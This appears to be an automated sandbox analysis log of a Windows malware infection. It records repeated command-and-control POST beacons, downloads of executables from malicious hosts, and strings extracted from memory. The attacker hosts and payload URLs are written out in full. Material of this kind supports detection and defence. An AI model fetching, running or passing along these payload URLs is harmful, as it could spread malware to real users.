Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lqwlpf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 112Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mwskm.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 200Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://traxsklv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 299Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lebeioslha.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 333Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://iwptsq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 330Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lgmulqehv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 339Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jaepennocf.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 123Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tkmasfsi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 243Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wsmgiadq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 111Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kudkrgpoim.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 168Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qlrpsfchxq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 294Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/8474_1641976243_3082.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rlhiwgul.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 286Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ysiplhkpp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 157Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /9.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: a0621298.xsph.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rrimog.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 165Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bdihoknx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 202Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hstuxka.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 319Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gvqkhfgim.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 212Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ljjgvvpa.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 230Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mfysq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 160Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kxfqwkwbr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 217Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mdlxr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 301Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://palbvctgn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 191Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rpnmjvw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 176Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/7729_1642101604_1835.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://olcib.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 181Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mnnuv.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 286Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /7.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: a0621298.xsph.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mxfehsxdf.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 216Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jjxayxhjr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 117Host: host-data-coin-11.com

Source: global traffic	TCP traffic: 192.168.2.3:49767 -> 185.7.214.171:8080
Source: global traffic	TCP traffic: 192.168.2.3:49860 -> 86.107.197.138:38133

Source: svchost.exe, 00000012.00000002.396490559.0000020403B00000.00000004.00000001.sdmp, WerFault.exe, 00000017.00000002.418844022.00000000052DE000.00000004.00000001.sdmp, WerFault.exe, 00000017.00000003.415833773.00000000052DE000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000012.00000002.396490559.0000020403B00000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000012.00000003.374059680.0000020403B7C000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.374176081.0000020404002000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.374098786.0000020403BBD000.00000004.00000001.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: svchost.exe, 00000006.00000002.308803706.00000250B9213000.00000004.00000001.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: svchost.exe, 00000004.00000002.599486019.00000209C1E3E000.00000004.00000001.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 00000004.00000002.599486019.00000209C1E3E000.00000004.00000001.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 00000004.00000002.599486019.00000209C1E3E000.00000004.00000001.sdmp	String found in binary or memory: https://activity.windows.com
Source: 8DFC.exe, 0000001B.00000002.439913258.0000000003DD1000.00000004.00000001.sdmp, 8DFC.exe, 00000028.00000000.434050190.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: svchost.exe, 00000006.00000003.308151545.00000250B925F000.00000004.00000001.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 00000004.00000002.599486019.00000209C1E3E000.00000004.00000001.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000004.00000002.599486019.00000209C1E3E000.00000004.00000001.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000006.00000003.308213733.00000250B9249000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000006.00000003.308151545.00000250B925F000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 00000006.00000002.308890561.00000250B923D000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 00000006.00000002.308940656.00000250B9269000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308122134.00000250B9266000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 00000006.00000003.308151545.00000250B925F000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 00000006.00000003.308315333.00000250B924F000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308165015.00000250B924D000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.308915055.00000250B9255000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 00000006.00000003.285490619.00000250B9230000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000006.00000003.308151545.00000250B925F000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 00000006.00000002.308890561.00000250B923D000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 00000006.00000003.308151545.00000250B925F000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 00000006.00000003.308151545.00000250B925F000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 00000006.00000003.308151545.00000250B925F000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 00000006.00000003.285490619.00000250B9230000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000006.00000003.308279786.00000250B9240000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.308896976.00000250B9242000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000006.00000003.308279786.00000250B9240000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.308896976.00000250B9242000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 00000006.00000003.308151545.00000250B925F000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 00000006.00000003.308213733.00000250B9249000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308279786.00000250B9240000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.308903818.00000250B924B000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 00000012.00000003.374059680.0000020403B7C000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.374176081.0000020404002000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.374098786.0000020403BBD000.00000004.00000001.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: svchost.exe, 00000006.00000003.308213733.00000250B9249000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 00000006.00000003.308213733.00000250B9249000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.308903818.00000250B924B000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000006.00000003.308213733.00000250B9249000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.308903818.00000250B924B000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000006.00000003.308130125.00000250B9262000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 00000006.00000003.308151545.00000250B925F000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 00000006.00000002.308890561.00000250B923D000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000006.00000003.285490619.00000250B9230000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 00000006.00000002.308890561.00000250B923D000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000006.00000002.308803706.00000250B9213000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.308890561.00000250B923D000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000006.00000003.308273257.00000250B9245000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000006.00000003.308273257.00000250B9245000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000006.00000003.285490619.00000250B9230000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000006.00000002.308878760.00000250B9239000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.285490619.00000250B9230000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 00000006.00000002.308803706.00000250B9213000.00000004.00000001.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen
Source: svchost.exe, 00000012.00000003.374059680.0000020403B7C000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.374176081.0000020404002000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.374098786.0000020403BBD000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 00000012.00000003.374059680.0000020403B7C000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.374176081.0000020404002000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.374098786.0000020403BBD000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
Source: svchost.exe, 00000012.00000003.375079300.0000020403BAC000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.375107209.0000020403BAC000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.375144529.0000020404002000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.375125346.0000020403B95000.00000004.00000001.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback

Source: unknown

DNS traffic detected: queries for: host-data-coin-11.com

Source: C:\Users\user\AppData\Local\Temp\D675.exe

Code function: 25_2_00404BE0 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetSetOptionA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,InternetConnectA,InternetConnectA,HttpOpenRequestA,HttpOpenRequestA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrlen,lstrlen,GetProcessHeap,RtlAllocateHeap,lstrlen,memcpy,lstrlen,memcpy,lstrlen,lstrlen,memcpy,lstrlen,HttpSendRequestA,HttpQueryInfoA,StrCmpCA,Sleep,InternetReadFile,lstrcat,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

25_2_00404BE0

Source: global traffic	HTTP traffic detected: GET /32739433.dat?iddqd=1 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.233.81.115
Source: global traffic	HTTP traffic detected: GET /attachments/903666793514672200/930134152861343815/Nidifying.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /abhF HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: goo.su
Source: global traffic	HTTP traffic detected: GET /files/9030_1641816409_7037.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacy-tools-for-you-780.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /files/8474_1641976243_3082.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /9.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: a0621298.xsph.ru
Source: global traffic	HTTP traffic detected: GET /3.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /advert.msi HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /123.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /442.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /443.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /files/7729_1642101604_1835.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /7.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: a0621298.xsph.ru
Source: global traffic	HTTP traffic detected: GET /KX6KAZ9Tip.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /RMR.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /c_setup.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:50:54 GMTContent-Type: text/htmlContent-Length: 153Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:50:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f6 19 b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:50:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
